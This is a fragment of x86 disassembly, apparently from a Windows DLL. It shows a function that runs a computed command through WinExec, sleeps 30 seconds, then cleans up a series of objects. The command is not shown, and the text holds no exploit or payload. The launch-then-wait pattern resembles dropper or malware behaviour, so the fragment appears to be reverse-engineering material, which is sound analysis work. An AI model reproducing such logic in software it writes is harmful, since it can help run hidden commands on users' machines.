lea ecx, [ebp - 0x1098]
call fcn.10006b40
lea ecx, [ebp - 0x10b0]
call fcn.10006b40
lea ecx, [ebp - 0x10bc]
call fcn.1000cf80
lea ecx, [ebp - 0x1024]
call fcn.10007550
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
sub esp, 4
mov dword [esp], 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xcdc]
call fcn.10007550
sub esp, 4
mov dword [esp], eax
call fcn.1001c2f0
add esp, 4
lea ecx, [ebp - 0xe20]
call fcn.10007550
sub esp, 4
mov dword [esp], eax
call fcn.1001c2f0
add esp, 4
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc58], 1
lea ecx, [ebp - 0x1024]
call fcn.10006b40
lea ecx, [ebp - 0xf58]
call fcn.10006b40
lea ecx, [ebp - 0xe20]
call fcn.10006b40
lea ecx, [ebp - 0xd54]
call fcn.10006b40
lea ecx, [ebp - 0xcdc]
call fcn.10006b40
lea ecx, [ebp - 0xcc4]
call fcn.10006b40
lea ecx, [ebp - 0xc88]
call fcn.10006b40
lea ecx, [ebp - 0xc70]
call fcn.10006b40
jmp 0x1001d421
lea ecx, [ebp - 0xc20]
call fcn.10006b40
lea ecx, [ebp - 0xc08]
call fcn.10006b40
lea ecx, [ebp - 0xbf0]
call fcn.10006b40
lea ecx, [ebp - 0xbd8]
call fcn.10006b40
lea ecx, [ebp - 0x150]
call fcn.1000cf80
lea ecx, [ebp - 0x5c]
call fcn.1000cf80
lea ecx, [ebp - 0x50]
call fcn.10006b40
lea ecx, [ebp - 0x38]
call fcn.10006b40
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret